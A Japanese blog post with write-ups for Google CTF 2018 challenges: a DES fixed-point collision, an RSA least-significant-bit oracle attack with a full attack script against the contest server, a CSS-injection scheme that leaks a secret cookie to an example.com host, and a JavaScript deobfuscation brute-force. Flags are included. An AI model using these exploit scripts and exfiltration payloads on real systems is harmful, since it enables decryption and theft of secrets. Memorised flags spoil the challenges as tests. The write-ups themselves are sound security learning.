LoginSignup
4
1

More than 5 years have passed since last update.

@kusano_k

Google CTF 2018 write-up (本編)

Posted at

Beginners Questはこっち。
Google CTF 2018 write-up (Beginners Quest) - Qiita

本編

解けた or 挑戦した問題だけ。

DM COLLISION (crypto, 176pt)

コンテスト時間内には解けなかった。

DESの衝突を見つけよという問題。渡されたスクリプトはnot_des.pyで、DESとは結果が異なる。違いは、

not_des.py
SBOXES = [S6, S4, S1, S5, S3, S2, S8, S7]

ここだけ。並びを数字順にすればDESと同じ結果になる。DES（っぽいもの）の1ブロック（8バイト）の処理をEnc(in, key)として、

  1. (in[1],key[1]) != (in[2],key[2])
  2. Enc(in[1],key[1])^in[1] != Enc(in[2],key[2])^in[2]
  3. Enc(in[3],key[3])^in[3] == 0

を満たす、inとkeyを探せばフラグが得られる。1と2は第二原像攻撃、3は第一原像攻撃（のようなもの）。

1と2を満たすのは簡単で、DESの鍵の64ビットのうち各バイトの下位1ビットは鍵としては使用されない。パリティとして鍵のチェックに使われるらしい。このパリティのチェックはされていないので、key[1] = 00 00 00 00 00 00 00 00、key[2] = 00 00 00 00 00 00 00 01を渡せば良い。inはin[1]とin[2]が等しければ何でも構わない。

問題は3番目の条件、変形するとEnc(in[3],key[3]) == in[3]となる。素直に探索すると、見つかる期待値は$\frac{1}{2^{64}}$。誕生日攻撃ができそうにも見えない。SBOXESの並び替えで脆弱になることもないだろうし、仮にも広く使われていたDESにそんなはっきりとした脆弱性があるだろうか？　弱い鍵絡みかなぁと、ググっていたら、下記の投稿を見つけた。キーワードは「weak key」と「fixed point」。

block cipher - What is the fixed point attribute of DES (when used with weak-keys) - Cryptography Stack Exchange

弱い鍵に対しては、3の条件を満たす入力が$2^{32}$個もあるらしい。Pythonでは遅いのでDESのC実装を探して、SBoxを書き換えて探索したところ、たしかに$2^{32}$くらいの探索で条件を満たす入力が見つかった。ただし、答えが出たのはコンテスト終了後。もっと早くに試していれば……。全部が00の弱い鍵に対して、例えばc1 a7 34 df 8d 67 69 a6が条件を満たす。

$ hexdump -C data
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 01  00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00  c1 a7 34 df 8d 67 69 a6  |..........4..gi.|
00000030
$ cat data | nc dm-col.ctfcompetition.com 1337
CTF{7h3r35 4 f1r3 574r71n6 1n my h34r7 r34ch1n6 4 f3v3r p17ch 4nd 175 br1n61n6 m3 0u7 7h3 d4rk}

CTF{7h3r35 4 f1r3 574r71n6 1n my h34r7 r34ch1n6 4 f3v3r p17ch 4nd 175 br1n61n6 m3 0u7 7h3 d4rk}

PERFECT SECRECY (crypto, 158pt)

1024ビットRSAの公開鍵と、この公開鍵で暗号化したフラグが与えられる。サーバーはこちらが指定したデータを復号して下位1ビットを教えてくれる。

下位1ビットはそのまま教えてくれるわけではなく、こちらが指定した1バイトの値m0とm1、復号結果diceに対して、次のような結果が返ってくる。

challenge.py
    for rounds in range(100):
      p = [m0, m1][dice & 1]
      k = random.randint(0, 2)
      c = (ord(p) + k) % 2
      writer.write(bytes((c,)))

一見、ランダムな1ビットの値kが加えられているのでどうしようもないように見えるが、random.randint(0, 2)は0か1ではなく、0か1か2を返す。半閉区間ではなく閉区間を指定するrandintのこの仕様は紛らわしい。k%2は66%の確率で0になるので、返ってきた値を集計すれば復号したデータの下位1ビットが分かる。

下位1ビットが得られる場合に元データの全体を取得する方法は、そのものズバリの回答があった。

RSA least significant bit oracle attack - Cryptography Stack Exchange

暗号文を$C$、平文を$P$として、$2^eC$を渡せば、サーバーは$2P$を$N$で割った余りを返す。$2P$が$N$以上ならば下位1ビットが1となるので、$P$が$\frac{N}{2}$以上かどうかが分かる。一般化すると、$k^eC$を渡すことで$kP$を$N$で割った値の下位1ビットが分かる。これで、1ビットずつ$P$を求めていけば良い。

公開鍵はPEM形式だったので、

$ openssl rsa -text -pubin < key_pub.pem
WARNING: can't open config file: /z/extlib/_2016Q2__/ssl/openssl.cnf
Public-Key: (1024 bit)
Modulus:
    00:da:53:a8:99:d5:57:30:91:af:6c:c9:c9:a9:fc:
    31:5f:76:40:2c:89:70:bb:b1:98:6b:fe:8e:29:ce:
    d1:2d:0a:df:61:b2:1d:6c:28:1c:cb:f2:ef:ed:79:
    aa:7d:d2:3a:27:76:b0:35:03:b1:af:35:4e:35:bf:
    58:c9:1d:b7:d7:c6:2f:6b:92:c9:18:c9:0b:68:85:
    9c:77:ca:e9:fd:b3:14:f8:24:90:a0:d6:b5:0c:5d:
    c8:5f:5c:92:a6:fd:f1:97:16:ac:84:51:ef:e8:bb:
    df:48:8a:e0:98:a7:c7:6a:dd:25:99:f2:ca:64:20:
    73:af:a2:0d:14:3a:f4:03:d1
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDaU6iZ1Vcwka9sycmp/DFfdkAs
iXC7sZhr/o4pztEtCt9hsh1sKBzL8u/teap90jondrA1A7GvNU41v1jJHbfXxi9r
kskYyQtohZx3yun9sxT4JJCg1rUMXchfXJKm/fGXFqyEUe/ou99IiuCYp8dq3SWZ
8spkIHOvog0UOvQD0QIDAQAB
-----END PUBLIC KEY-----

として、$N$を調べる。

attack.py
from socket import *

N = 0xda53a899d5573091af6cc9c9a9fc315f76402c8970bbb1986bfe8e29ced12d0adf61b21d6c281ccbf2efed79aa7dd23a2776b03503b1af354e35bf58c91db7d7c62f6b92c918c90b68859c77cae9fdb314f82490a0d6b50c5dc85f5c92a6fdf19716ac8451efe8bbdf488ae098a7c76add2599f2ca642073afa20d143af403d1
C = 0xa9c565cbc2cf1c7d4267fd1769dce9f03481800bbae86bb0926ae617a7e6d09f2c61a9d70a856783973c4c55bf43a24c1d70f7b02ac034ff39c537ab39c78d90523a8107a0980195df3521d654d72069f9428208431cc763def39bcd8cd3ea9d45e99e23f7810fa03b6ce906d6f41373e0e2a7c022301828d7f80ed3c630ae56
e = 65537

flag = 0

l = 0
r = N
for i in range(1024):
    s = socket(AF_INET, SOCK_STREAM)
    s.connect(("perfect-secrecy.ctfcompetition.com", 1337))

    s.send("\x00")
    s.send("\x01")
    s.send(("%0256x"%(C*pow(2**(i+1),e,N)%N)).decode("hex"))
    c = [0, 0]
    for j in range(100):
        c[s.recv(1)!="\x00"] += 1
    print i, c
    if c[0]>c[1]:
        r = (l+r)/2
    else:
        l = (l+r)/2
    print hex(l)
    print hex(r)
print ("%0256x"%l).decode("hex")

>attack.py
0 [72, 28]
0x0
0x6d29d44ceaab9848d7b664e4d4fe18afbb201644b85dd8cc35ff4714e76896856fb0d90eb6140e65f977f6bcd53ee91d13bb581a81d8d79aa71adfac648edbebe317b5c9648c6485b442ce3be574fed98a7c1248506b5a862ee42fae49537ef8cb8b564228f7f45defa445704c53e3b56e92ccf965321039d7d1068a1d7a01e8L
1 [71, 29]
0x0
0x3694ea267555cc246bdb32726a7f0c57dd900b225c2eec661affa38a73b44b42b7d86c875b0a0732fcbbfb5e6a9f748e89ddac0d40ec6bcd538d6fd632476df5f18bdae4b2463242da21671df2ba7f6cc53e09242835ad43177217d724a9bf7c65c5ab21147bfa2ef7d222b82629f1dab749667cb299081cebe883450ebd00f4L
2 [65, 35]
0x0
0x1b4a75133aaae61235ed9939353f862beec805912e1776330d7fd1c539da25a15bec3643ad8503997e5dfdaf354fba4744eed606a07635e6a9c6b7eb1923b6faf8c5ed72592319216d10b38ef95d3fb6629f0492141ad6a18bb90beb9254dfbe32e2d5908a3dfd177be9115c1314f8ed5ba4b33e594c840e75f441a2875e807aL
：
1021 [28, 72]
0x261b4020c33d22e3ae79e4227f2d51c3760e40dcdacd87f025f4c8471ea8cb41d7d8290671730002e6f4f204354467b68336c6c305f5f31375f355f6d335f315f7734355f77306e643372316e365f31665f34663733725f346c6c5f37683335335f79333472355f7930755f645f6c316b335f37305f6d3333377d204f6eaeL
0x261b4020c33d22e3ae79e4227f2d51c3760e40dcdacd87f025f4c8471ea8cb41d7d8290671730002e6f4f204354467b68336c6c305f5f31375f355f6d335f315f7734355f77306e643372316e365f31665f34663733725f346c6c5f37683335335f79333472355f7930755f645f6c316b335f37305f6d3333377d204f6eb2L
1022 [63, 37]
0x261b4020c33d22e3ae79e4227f2d51c3760e40dcdacd87f025f4c8471ea8cb41d7d8290671730002e6f4f204354467b68336c6c305f5f31375f355f6d335f315f7734355f77306e643372316e365f31665f34663733725f346c6c5f37683335335f79333472355f7930755f645f6c316b335f37305f6d3333377d204f6eaeL
0x261b4020c33d22e3ae79e4227f2d51c3760e40dcdacd87f025f4c8471ea8cb41d7d8290671730002e6f4f204354467b68336c6c305f5f31375f355f6d335f315f7734355f77306e643372316e365f31665f34663733725f346c6c5f37683335335f79333472355f7930755f645f6c316b335f37305f6d3333377d204f6eb0L
1023 [70, 30]
0x261b4020c33d22e3ae79e4227f2d51c3760e40dcdacd87f025f4c8471ea8cb41d7d8290671730002e6f4f204354467b68336c6c305f5f31375f355f6d335f315f7734355f77306e643372316e365f31665f34663733725f346c6c5f37683335335f79333472355f7930755f645f6c316b335f37305f6d3333377d204f6eaeL
0x261b4020c33d22e3ae79e4227f2d51c3760e40dcdacd87f025f4c8471ea8cb41d7d8290671730002e6f4f204354467b68336c6c305f5f31375f355f6d335f315f7734355f77306e643372316e365f31665f34663733725f346c6c5f37683335335f79333472355f7930755f645f6c316b335f37305f6d3333377d204f6eafL
 aｴ3ﾒ.:迸B'7`・ﾍｬﾘ_Lб鼬ｴ}ｐg0 .oO CTF{h3ll0__17_5_m3_1_w45_w0nd3r1n6_1f_4f73r_4ll_7h353_y34r5_y0u_d_l1k3_70_m337} Onｮ

CTF{h3ll0__17_5_m3_1_w45_w0nd3r1n6_1f_4f73r_4ll_7h353_y34r5_y0u_d_l1k3_70_m337}

CAT CHAT (web, 210pt)

とっかかりはすぐに分かったから挑戦したけれど、解けなかった。

CSS Injection。

catchat.js
    ban(data) {
      if (data.name == localStorage.name) {
        document.cookie = 'banned=1; Path=/';
        sse.close();
        display(`You have been banned and from now on won't be able to receive and send messages.`);
      } else {
        display(`${esc(data.name)} was banned.<style>span[data-name^=${esc(data.name)}] { color: red; }</style>`);
      }
    },

banを受け取ったときにCSSにdata.nameを埋め込んで出力するが、<, >, ", 'のエスケープしかされていない。

catchat.js
    secret(data) { display(`Successfully changed secret to <span data-secret="${esc(cookie('flag'))}">*****</span>`); },

secretコマンドを管理者が打ち込み、レスポンスが帰ってくるとcookieが書き込まれる。

span[data-secret^=a]{background:url(https://example.com/a}
span[data-secret^=b]{background:url(https://example.com/b}
span[data-secret^=c]{background:url(https://example.com/c}

のようなCSSを書き込めば、data-secretの最初の一文字が分かる。……と思ったが、Content Security Policyで弾かれる。また、「管理者はいちいち/secretコマンドを打ち込まないよ」と書かれているので何とかする必要がある。

/index.htmlでCSPヘッダの無いHTMLが出力されるから何とかするのかなとか、CSSで「○○をbanしました」のメッセージを消せば、管理者がもう一度/secretを打ち込まないかなとか考えていたけれど、全然違った。

Google CTF Competition 2018: Cat Chat – Oleg Vaskevich – Medium

他の人の解答。

  • 書き込みAPIはGETでも受け付けているので、https://example.com/aの代わりに、チャットに書き込ませれば良い
  • サーバーswitch文にbreakを忘れているバグがあるから、/ban /secret hogeを書き込ませれば、/secretも実行される
  • /secretが正しく処理されるとcookieのフラグが上書きされてしまうので、エラーにする

すごい……。

JS SAFE 2.0 (web, 121pt)

たいして長くもないJavaScriptを解読するだけなのにハマってしまった。以下の関数がtrueを返すхの値がフラグ。実際には1行で書かれていた。

function x(х) {
    ord = Function.prototype.call.bind(''.charCodeAt);
    chr = String.fromCharCode;
    str = String;
    function h(s) {
        for (i = 0; i != s.length; i++) {
            a = ((typeof a == 'undefined' ? 1 : a) + ord(str(s[i]))) % 65521;
            b = ((typeof b == 'undefined' ? 0 : b) + a) % 65521
        }
        return chr(b >> 8) + chr(b & 0xFF) + chr(a >> 8) + chr(a & 0xFF)
    }
    function c(a, b, c) {
        for (i = 0; i != a.length; i++)
            c = (c || '') + chr(ord(str(a[i])) ^ ord(str(b[i % b.length])));
        return c
    }
    for (a = 0; a != 1000; a++)
        debugger ;
    x = h(str(x));
    source = /Ӈ#7ùª9¨M¤ŸÀ.áÔ¥6¦¨¹.ÿÓÂ.։£JºÓ¹WþʖmãÖÚG¤…¢dÈ9&òªћ#³­1᧨/;
    source.toString = function() {
        return c(source, x)
    }
    ;
    try {
        console.log('debug', source);
        with (source)
            return eval('eval(c(source,x))')
    } catch (e) {}
}

開発者ツールを開いていると、debugger;でいちいち実行が停止して邪魔なので、消す。ただし、a=1000は後で使われるから、forを残すなりa=1000に書き換えるなりする。

sourceを文字列として参照しようとすると、toStringに代入している関数が使われ、この中でもsourceを文字列として参照しようとしているので無限ループになる。withでそれが防げるのは、withの中でsource参照するとsource.sourceを参照していることになるから。withなんて構文あったなぁ。/hoge/.sourceは"hoge"になる。

Qiitaの構文強調表示ならば一目で分かるけれど、xの引数もxだと思ってしまい、ここでも時間を無駄にした。実際はх（ギリシャ文字のカイ）。h(str(x))に渡しているのが引数（＝フラグ）でhの返り値の4文字の探索が必要だと考えてしまった。sourceを含む関数xのハッシュ値でsourceを復号して、JavaScriptとして実行できるような意味のある文字列は得られないよなぁと考えてしまった。関数を整形したり処理を追加したりするならば、str(x)のところに元の関数を貼り付ければ良い。これで、eval(c(source,x))の結果が得られる。

х==c('¢×&Ê´cʯ¬$¶³´}ÍÈ´T—©Ð8ͳÍ|Ԝ÷aÈÐÝ&›¨þJ',h(х))//᧢

関数のハッシュ値で上手いこと復号できるのは、末尾のコメントアウトされている文字で辻褄を合わせているのだと思う。

後はこの条件を満たすхを探索すれば良い。

solve.py
C = [
  0xa2, 0xd7, 0x26, 0x81, 0xca, 0xb4, 0x63, 0xca, 0xaf, 0xac, 0x24, 0xb6, 0xb3, 0xb4, 0x7d, 0xcd,
  0xc8, 0xb4, 0x54, 0x97, 0xa9, 0xd0, 0x38, 0xcd, 0xb3, 0xcd, 0x7c, 0xd4, 0x9c, 0xf7, 0x61, 0xc8,
  0xd0, 0xdd, 0x26, 0x9b, 0xa8, 0xfe, 0x4a,
]

def h(P):
  a = 2714
  b = 33310
  for p in P:
    a = (a+p)%65521
    b = (b+a)%65521
  return [b>>8, b&0xff, a>>8, a&0xff]

A = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_@!?-"
for c0 in A:
  print c0
  for c1 in A:
    for c2 in A:
      for c3 in A:
        P = [ord(c0), ord(c1), ord(c2), ord(c3)]
        for i in range(4, len(C)):
          P += [C[i]^C[i%4]^P[i%4]]
        if h(P) == [C[0]^P[0], C[1]^P[1], C[2]^P[2], C[3]^P[3]]:
          print c0, c1, c2, c3
          print "".join(map(chr, P))

CTF{_N3x7-v3R51ON-h45-AnTI-4NTi-ant1-D3bUg_}

4
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
Sign upLogin
4
1